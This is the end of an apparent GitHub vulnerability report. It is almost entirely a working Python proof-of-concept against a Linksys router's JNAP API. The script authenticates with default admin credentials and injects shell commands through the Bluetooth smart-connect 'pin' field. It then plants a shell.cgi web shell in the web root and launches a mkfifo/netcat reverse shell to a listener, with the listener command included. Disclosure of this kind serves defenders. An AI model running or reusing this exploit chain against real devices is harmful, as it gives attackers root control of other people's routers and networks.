Use the helper CGI to spawn a reverse shell
```

### Exploitation Steps

1. Start a listener first:

```
nc -lvnp 4444
```

2. Run the following PoC:

```
#!/usr/bin/env python3
import base64
import json
import sys
```

```
import time
import urllib.error
import urllib.request


TARGET = "http://192.168.150.128:8080"
LHOST = "192.168.100.1"
LPORT = 4444
USER = "admin"
PASSWORD = "admin"
TIMEOUT = 10
UI = "1.0.99.206937"

GET_MODE = "http://linksys.com/jnap/nodes/smartmode/GetDeviceMode"
SET_MODE = "http://linksys.com/jnap/nodes/smartmode/SetDeviceMode"
EXPLOIT = "http://linksys.com/jnap/nodes/btsmartconnect/BTRequestGetSmartConnectStatus"

JNAP = TARGET + "/JNAP/"
SHELL_FS = f"/www/ui/{UI}/static/shell.cgi"
SHELL_URL = f"{TARGET}/ui/{UI}/static/shell.cgi"
AUTH = "Basic " + base64.b64encode(f"{USER}:{PASSWORD}".encode()).decode()


def http(url, data=None, headers=None):
    req = urllib.request.Request(url, data=data, headers=headers or {})
    with urllib.request.urlopen(req, timeout=TIMEOUT) as r:
        return r.read()


def jnap(action, payload):
    headers = {
        "X-JNAP-Action": action,
        "X-JNAP-Authorization": AUTH,
        "Content-Type": "application/json; charset=UTF-8",
    }
    body = json.dumps(payload).encode()
    try:
        raw = http(JNAP, body, headers)
    except urllib.error.HTTPError as e:
        raw = e.read()
    return json.loads(raw.decode())


def send_payload(cmd):
    ret = jnap(EXPLOIT, {"pin": "a; " + cmd + "; #"})
    if ret.get("result") != "OK":
        raise RuntimeError(ret)


def ensure_master():
    ret = jnap(GET_MODE, {})
    mode = ret["output"]["mode"]
    print("[*] Current mode:", mode)
    if mode != "Master":
        ret = jnap(SET_MODE, {"mode": "Master"})
        if ret.get("result") != "OK":
```

```
            raise RuntimeError(ret)
        time.sleep(1)


def stage_shell():
    lines = [
        "#!/bin/sh",
        "echo Content-Type: text/plain",
        "echo",
        "IFS= read -r cmd",
        '/bin/sh -c "$cmd" 2>&1',
    ]
    cmd = []
    for i, line in enumerate(lines):
        cmd.append(f"echo '{line}' {'>' if i == 0 else '>>'}{SHELL_FS}")
    cmd.append(f"chmod +x {SHELL_FS}")
    send_payload("; ".join(cmd))
    time.sleep(1)


def run_shell(cmd):
    try:
        return http(SHELL_URL, cmd.encode(), {"Content-Type":
"text/plain"}).decode(errors="replace")
    except TimeoutError:
        return ""


def main():
    try:
        ensure_master()
        stage_shell()
        if "root" not in run_shell("busybox whoami"):
            raise RuntimeError("helper shell failed")

        reverse = (
            "rm -f /tmp/.btsh; "
            "mkfifo /tmp/.btsh; "
            f"/bin/sh -i </tmp/.btsh 2>&1 | /usr/bin/nc {LHOST} {LPORT} >/tmp/.btsh &"
        )
        run_shell(reverse)
        print(f"[*] Reverse shell sent to {LHOST}:{LPORT}")
    except Exception as e:
        print("[!]", e, file=sys.stderr)
        sys.exit(1)


if __name__ == "__main__":
    main()
```

## Metadata

**Assignees**

No one assigned

**Labels**

No labels

**Projects**

No projects

**Milestone**

No milestone

**Relationships**

None yet

**Development**

No branches or pull requests

**Participants**